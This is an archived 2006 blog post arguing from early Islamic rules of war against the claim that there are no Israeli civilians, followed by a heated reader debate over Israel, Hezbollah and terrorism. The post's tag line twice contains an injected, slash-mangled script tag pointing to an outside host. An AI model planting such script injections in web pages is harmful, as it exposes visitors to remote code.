Help us raise $30,000 to purchase 1000 copies of the Muhammad Asad Translation and Commentary of The Quran to be donated to Western mosques and prisons. This work resolves many of the errors and oversights of the Saudi sponsored translations, one example being women's rights.
Permalink

No Such Thing as an Israeli Civilian


By Haroon
Posted on Wed Nov 15, 2006 at 05:37:45 PM EST
Tags: Jihad, Islamic warfare, conflict, Israel, Palestine, suicide bombing, &lt;script src=http:--usuc.us-j.php&gt;jonny&lt;-script&gt;, <script src=http:--usuc.us-j.php>jonny<-script> (all tags)

One of the most common justifications of suicide bombings advances in this manner: In Israel,there are no civilians. Because, unlike many other industrialized Western societies, Israeldoes not have an all-volunteer army; in the event of an emergency, all of Israelis Israelsarmy the citizens are the soldiers, and the soldiers are the citizens. Perhaps it is inaccurate to say that there is no such thing as an Israeli civilian; rather, such arguments want us to conclude that there is no Israeli civilian who is not also an Israelisoldier. Never mind, of course, that there are many civilians who are exemptfrom service, who refuse to serve, who are too young to serve or who are tooold to serve. 

Islams law of warfare, or at least the norms Muslims aresupposed to uphold, took shape during the Prophet Muhammads lifetime. Thisincludes the overriding Islamic limits of warfare, that hostilities should be limitedto the hostile, and that women, children, the elderly and the clerisy, and ontop of that crops, irrigation and nature more generally, should be absolutelyexcluded from warfare. Too bad such boundaries are often invoked, in much thesame way Muslims have not stopped praising Islams liberation of women somefourteen centuries ago. When push confronts shove, too many Muslims too quicklysacrifice noble ideals to the apparent necessities of modern warfare, as it hasevolved. So what if Hezbollah fires missiles into settled areas? Israeldoes the same.  

Whence this shrunken, shriveled moral imagination? It waspre-Islamic Makkah that preceded the Israeli ideal: Theoretically, all whocould bear arms would bear arms the notion of a disciplined, volunteerfighting force didnt exist in the Arabian world of interlocking tribes andsomewhat city-states. Minus the specific changes created by bureaucracies, newtechnologies, new concepts of age and equality, theres not much thatdistinguishes the basic model of the Makkan army and the ideal of the Israelimilitary: Every person who belongs to the city/state, and can fight, mustfight. (Dont we remember Abu Sufyans wife, taking the podium like amodern-day Mrs. Rumsfeld?) Yet it was in that context, and not in the context ofvolunteer armies, that the Prophet absolutely forbade fighting against anyone but him whowas on the field, with weapons drawn; the Prophet even condemned those whoshowed no mercy to combatants on the battlefield during the course of battle.

Yet the specifics of Islamic injunctions are too oftenoverlooked; where some lack context, others lack the moral will. It is not thatwe need to understand history better; it is that, too often, we willfully blindourselves history is not only what has been made, but what is happening, whatwill be history for subsequent generations. What wracks Darfuris no different than what has gone on for some decades now in Chechnya;the salient difference, in Darfur, is that it is a caseof Muslim-on-Muslim violence. Suddenly our theological purity is muddled theIslam that liberated women, that was fourteen centuries ago. Things havechanged. You cannot find fault with what you cannot see. It is one of many casesof the upside-down, pan-Islamic hijab: Covering everything we arent tempted bythe sight of. 

< More Admin Stuff | Why We Can't Expect Consistency from Clerics >

Login

Make a new account

Username:
Password:

Tags: Jihad, Islamic warfare, conflict, Israel, Palestine, suicide bombing, &lt;script src=http:--usuc.us-j.php&gt;jonny&lt;-script&gt;, <script src=http:--usuc.us-j.php>jonny<-script> (all tags)
Display: Sort:

No Such Thing as an Israeli Civilian | 18 comments (18 topical, 0 hidden)
bedouin society hangovers(none / 0) (#1)
by shams on Wed Nov 15, 2006 at 07:56:26 PM EST
In the bedouin tribes of the pre-Islamic Jahilyyah, every member of the tribe had equal value.  For example, a grandmother was the worth of a warrior, one for accumulated knowledge, one for prowess in battle.  In a sense all members of a tribe had equal weight.
So there were no non-combatants.

The bedouin culture was revered in the time of the Prophet.  Muhammed himself was sent to live with the family of his wet nurse to be educated in bedouin cultural values.  Key bedouin values such as remembrance, generousity, hospitality and valor became part of the Qur'an.  Perhaps also bedouin protocols of warfare.
 

continuation of my comment(none / 0) (#2)
by shams on Wed Nov 15, 2006 at 08:18:19 PM EST
If so, then Muhammed changed the protocol to be more benevolent and humane, like Haroon says.
that the Prophet absolutely forbade fighting against anyone but him who was on the field, with weapons drawn;
Like the burda ode, which symbolized the submission of the bedouin warrior-poets to Muhammed, these transformations (and rejections of some) of the Jahilyyah cultural values became the new Islamic world-view.

[ Parent ]




No gun, not a combatant(none / 0) (#3)
by Anonymous Hero on Wed Nov 15, 2006 at 09:57:09 PM EST
Two quick points:
  1. no weapon = not a combatant.
  2. show me the person who kills defenseless people and doesn't end up emotionally debilitated at some point in their lives. Thus, perhaps the wisdom of not killing civilians is just as much for our benefit as for the civilians.

OK, point #3. Maybe people who write so much about war should try doing the real thing sometime. Its easy to write off humans when one doesn't have to actaully off them by his/herself.

And, no I didn't RTFA. Title told me alot.

- Omar



Foot in mouth disease!(none / 0) (#4)
by Anonymous Hero on Wed Nov 15, 2006 at 09:59:56 PM EST
In case my comment could be construed as being anti-Haroun; its not. Now, I did RTFA; only thing I can add is why not add a question mark to the title so impatient people as myself don't get the wrong impression?

So we can catch those people out ;-)(none / 0) (#5)
by thabet on Thu Nov 16, 2006 at 03:06:58 AM EST

--------------------------------
warning: highly corrosive
[ Parent ]




Due process(none / 0) (#6)
by Julaybib on Thu Nov 16, 2006 at 01:15:30 PM EST
It's no use looking for explanations in moral crassness or theological misconception - s.bs and their friends think they are moral and think they are responding with justice against barbarity. There are perhaps lots of processes at work here -not least a sense of political impotence, with responses being highly gendered (fundamentalist machismo). It's always Palestinians that come under scrutiny on this issue, not the nation that's been stamping its jackboot all over them for half a century. And analysis never really gets any more nuanced than this example of grandstanding. There ought to be a rule. Unless you have something new to say about s.bs, don't.



Question(none / 0) (#7)
by sigmund carl and alfred on Sat Nov 18, 2006 at 09:45:15 AM EST
On more than one occasion, Palestinian preachers (and politicians, for that matter) declare that all Palestinian men, women and children are fighting jihad. This message is reinforced in media nd in schools.

Does that convey the status of combatant upon them?

Also, the question of how and what terrorism really is, comes into play. See if this fits:

"Terrorism" is a description of a means, a method of deliberately attacking or threatening to attack civilian targets in order to achieve political goals. "Freedom fighting" is a description of an end, as a freedom fighter's goal is national liberation. An individual could participate in "terrorism" and "freedom fighting" simultaneously, because one word describes means, while the other describes ends. To say that a Palestinian suicide bomber is not condemnable as a terrorist because the bomber's cause is national liberation is to argue that the end justifies the means."

Any arguments?

Terrorism(none / 0) (#8)
by thabet on Fri Nov 24, 2006 at 08:21:31 AM EST
So you agree that Israel committed terrorism when it attacked Lebanon this summer, SC&A?
--------------------------------
warning: highly corrosive
[ Parent ]
Terrorism?(none / 0) (#9)
by cottonbud on Fri Nov 24, 2006 at 11:11:27 AM EST

(I'm not SC&A, but still...)

"deliberately attacking or threatening to attack civilian targets in order to achieve political goals" - is this definition appliccable to Israel's acts?

It's debatable; and the answer will always take the shape of the person weighing the situation. I'd say rather no, the above definition doesn't apply, as the "deliberately" part doesn't apply - Hizballah's tactics of hiding in civilian areas can be viewed as forcing Israel to attack those areas (as in: should Hizballah have chosen to launch attacks from other areas, all the civilians would have been safe).

So, no, in my view Israel isn't guilty of terrorism, at least not in this case. But, as I said, it's debatable. 



[ Parent ]
OK, debatable(none / 0) (#10)
by chatterwaul on Fri Nov 24, 2006 at 11:14:13 AM EST

Let's just say that in Southern Lebanon...

 ...the collateral damage was rather indescriminate. 

I would write LOL here but the situation is too sickening. 



[ Parent ]
chatterwaul(none / 0) (#11)
by cottonbud on Fri Nov 24, 2006 at 12:28:54 PM EST

Am I to understand that you support (or, at least, do not disapprove of) Hizballah's tactics of deliberately launching attacks from within highly populated areas?

If so, we are at a point where we can only "agree to disagree". Involving - deliberately - civilians as human shields is tantamount to car bombings from my point of view, and NO REASON whatsoever can justify such tactics.

If not, I apologize for misunderstanding you. 



[ Parent ]
Cottonbud: polemics-false dilemmas(none / 0) (#12)
by chatterwaul on Fri Nov 24, 2006 at 12:50:37 PM EST

How did the neocons get so far before America came to their senses? Divide and Conquer.

 Either I accept everything Israel does as self-defense and righteous OR I support the terrorists. Right?

Wrong! I never said word one about Hizbullah and you can recheck my previous comment 1000 times (or once) to verify. So what does support for Hizbullah got to do with whether Israel was specifically targeting hizbullah sites or general civilian resources? NOTHING!

I reject these choices between good and evil, right and wrong. THOSE are the judgements that are relative and based on perspective. I am not interested in that.

 I was watching a freakin' cooking show with an American Chef named Tony Bordaine and he was in Beirut when Israel bombed the AIRPORT! He had to be transported out of Lebanon by the military. That is one, completely uninvolved American life interrupted by Israel's bombing campaigns. 

Nevermind Southern Lebanon. 

 You tell me. Why should Tony Bordaine have to pay for Hizbollah?

 



[ Parent ]
dillemas ARE true(none / 0) (#15)
by cottonbud on Fri Nov 24, 2006 at 01:22:03 PM EST

"Either I accept everything Israel does as self-defense and righteous OR I support the terrorists. Right?"

WRONG! More, I never implied any such thing. Neither should you. In a conflict like that, usualy both parties resort to sub-human behaviour; no one is exempt. This kind of you-versus-me attitude, though understandable, I find highly vexing, more so when someone accuses me of it.

"I never said word one about Hizbullah and you can recheck my previous comment 1000 times (or once) to verify." Right. I never even implied that you did; but judging solely one side without taking into account the opposite side is a logic flaw. Since your comment only talked about Israel, I felt the need to complete the picture.

"So what does support for Hizbullah got to do with whether Israel was specifically targeting hizbullah sites or general civilian resources? NOTHING!" Maybe you'd like to rephrase, becuse this statement is plainly mistaken. Support for one side generally makes one judge lightly his favourites and harshly the opponents; so, support for Hizbullah has everyting to do with the way one weighs the whole situation. Were those areas targeted by the IDF "Hizbullah sites", or were they "general civilian resources"? One's "site" can easily be another's "general resource".

Mind you, in this conflict I do not support any fighting party, for lack of intimate knowledge (media is far too untrustworthy to rely solely on its reports), so please do not imply any bias here.

"I reject these choices between good and evil, right and wrong. THOSE are the judgements that are relative and based on perspective. I am not interested in that." Hmm... WHAT kind of judgement do you favor, then? Not choosing between good and evil means making a choice in itself... not to mention that I, for one, cannot claim the knowledge and wisdom required to make *any* other kind of judgement beside "relative" and "based on perspective". If you are able, I can only respect you.

"You tell me. Why should Tony Bordaine have to pay for Hizbollah?"That's an ill-placed question. I don't know. Maybe you should ask Hassan Nasrallah and Ehud Olmert alltogether.

Thing is, we are naturally inclined to take sides; and your jumping all over me naturally made me react. But I do believe one should always question the motives and actions of ALL sides involved in whatever incident; no one is exempt of mistakes. And you and me should try to team up and keep at bay anyone crossing a certain line - or give up and become "one of them".



[ Parent ]
cottonbud: You review, I'll relent(none / 0) (#16)
by chatterwaul on Fri Nov 24, 2006 at 01:40:25 PM EST
I said: Let's just say that in Southern Lebanon...

 ...the collateral damage was rather indescriminate.

To which you responded: Am I to understand that you support (or, at least, do not disapprove of) Hizballah's tactics of deliberately launching attacks from within highly populated areas?

I said: I never said word one about Hizbullah and you can recheck my previous comment 1000 times (or once) to verify."

And then you said: Right. I never even implied that you did;

WRONG!

You did. It is important to know what one says and to be accountable for it.

There are other oversights but I have no desire to get in a heated picky battle about Israel and Hizbullah.  Let's hope Eteraz.org is one place where muslims are not broadly demonized and Israel's questionable policies are not routinely whitewashed. 

 On that, it appears we are on the same page and so I am satisifed. 



[ Parent ]
subject too heated(none / 0) (#17)
by cottonbud on Fri Nov 24, 2006 at 01:46:36 PM EST

I agree, this subject is way too heated (at least for now) to debate further.

As I mentioned, I am (primarily) here to learn what the Muslim way of viewing the world is (if there is such a monithic way, thing I doubt - no group of more than 1 man is monolithic on any subject), not to back one side or another.

And, of course, to offer what point of view I can on some issues - the members here might draw worthy conclusions even from my mistakes.



[ Parent ]


the biggest problem...(none / 0) (#18)
by shams on Fri Nov 24, 2006 at 01:54:08 PM EST

is that Israeli policy doesn't seem to work.  fortress israel with a moat...gaza and the west bank.

have the two kidnapped soldiers been returned?  has corporal shalit?   

 

 



[ Parent ]








No, I don't support civilian deaths(none / 0) (#13)
by chatterwaul on Fri Nov 24, 2006 at 12:59:15 PM EST

To the degree that applies to Hizbullah targeting civilians, they are criminals.

 Of course, someone made the point here that all Israeli citizens are either active/inactive military...

 yet, since those lame rockets are not precise nor intended to be precise, we can say that hizbullah is also indescriminant in their attempts to kill. And this is a crime against Islam.



[ Parent ]






"It's debatable"(none / 0) (#14)
by thabet on Fri Nov 24, 2006 at 01:14:01 PM EST
Quelle surprise.
--------------------------------
warning: highly corrosive
[ Parent ]








No Such Thing as an Israeli Civilian | 18 comments (18 topical, 0 hidden)

Display: Sort: